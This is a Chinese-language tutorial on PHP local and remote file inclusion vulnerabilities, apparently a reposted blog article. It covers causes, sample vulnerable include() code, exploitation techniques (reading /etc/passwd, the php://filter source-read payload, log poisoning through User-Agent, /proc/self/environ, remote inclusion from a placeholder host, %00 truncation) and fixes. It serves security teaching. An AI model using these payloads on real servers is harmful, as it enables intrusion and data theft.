10_文件包含漏洞(屬於任意代碼執行)

1、背景介紹php

  隨着網站業務的需求,web腳本可能容許客戶端用戶輸入控制動態包含在服務器端的文件,會致使惡意代碼的執行及敏感信息泄露,主要包括本地文件包含和遠程文件包含兩種形式。web

2、漏洞成因shell

  文件包含漏洞的產生緣由是在經過引入文件時,引用的文件名,用戶可控,因爲傳入的文件名沒有通過合理的校驗,或者校驗被繞過,從而操做了預想以外的文件,就可能致使意外的文件泄露甚至惡意的代碼注入。當被包含的文件在服務器本地時,就造成的本地文件包含漏洞。被包含的文件在第三方服務器時,就造成了遠程文件包含漏洞。apache

  本地到遠程:若是php.ini的配置選項allow_url_fopen和allow_url_include爲ON的話,則文件包含函數是能夠加載遠程文件的,這種漏洞被稱爲遠程文件包含漏洞。服務器

  include():當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。
  include_once():這個函數跟include函數做用幾乎相同,只是他在導入函數以前先檢測下該文件是否被導入。若是已經執行一遍那麼就不重複執行了。
  require():跟include惟一不一樣的是,當產生錯誤時,include下面繼續運行而require中止運行了。
  require_once():它的功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次。
  看到這四個函數時,看到有參數,且參數可控,沒有過濾,或過濾不嚴,就必定有文件包含漏洞。

  常見漏洞代碼:curl

if(isset($_GET[page])){
  include $_GET[page];
} else {
include "home.php";
}

   觸發漏洞的條件:函數

    web應用採用include()等文件包含函數經過動態變量的方式引入須要包含的文件。網站

    用戶可以控制該動態變量。ui

3、漏洞分類url

  1.本地文件包含

  2.遠程文件包含

  3.文件包含

4、漏洞危害

  執行惡意腳本代碼

  控制網站

  甚至控制服務器

5、漏洞利用

  1.本地文件包含

    上傳圖片,包含圖片GetShell。

    讀文件,讀PHP文件。

    包含日誌文件GetShell。

    包含/proc/self/environ文件GetShell

    若是有phpinfo能夠包含臨時文件

    包含data://或php://input等僞協議(須要allow_url_include=On)

  例子:包含上傳的圖片GetShell_1:

<?php
    if($_GET[page]){
    include($_GET[page]);
    }else{
    include "show.php";
    }
?>

 

GetShell_2:

<?php
    if($_GET[page]){
    include("./action/".$_GET[page]);
    }else{
    include "./action/show.php"
    }
?>

 

GetShell_3:  %00截斷

<?php
    if($_GET[page]){
    include("./action/".$_GET[page].".php");
    }else{
    include "./action/show.php";
    }
?>

 

  2.讀文件   index.php?file=/etc/passwd

    2.1敏感文件(見pdf10)

    2.2讀PHP文件       

http://127.0.0.1/lfi/1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
讀的結果是一串密文,解密就看出來php代碼了
    2.3包含日誌文件Getshell(首先找到日誌文件存放位置,讓日誌文件插入php代碼,包含日誌文件)
      1.首先找到日誌文件存放位置 
        文件包含漏洞去讀取apache配置文件/etc/httpd/conf/httpd.conf
        php文件錯誤信息保存在錯誤日誌裏面,其餘的都保存在正常訪問的日誌裏面/var/log/httpd/access_log
      2.讓日誌文件插入php代碼
        burp改包,curl發包,php代碼插入(必須帶有php標籤的,不能是轉碼後的)到get請求部分,或者user-agent部分。
      3.包含日誌文件

        index.php?page=/var/log/httpd/access_log

    3.包含環境變量文件GetShell

      須要PHP運行在CGI模式、而後和包含日誌同樣,在User-agent修改爲payload。

    4.遠程文件包含

      前提是:有遠程文件包含漏洞的服務器的php.ini的配置選項allow_url_fopen和allow_url_include爲ON。

       遠程服務器存放一個txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt

    5.擴展兩個僞協議:  

      

6、漏洞挖掘

  無通用性方法

  特定的CMS,特定的版本可能存在漏洞

  web漏洞掃描器掃描,常見web漏洞掃描器都支持文件包含漏洞的檢測。

7、修復方案

  PHP中可使用open_basedir配置限制訪問限制在指定的區域。

  過濾.(點) /(反斜槓) \(反斜槓)

  禁止服務器遠程文件包含

相關文章
相關標籤/搜索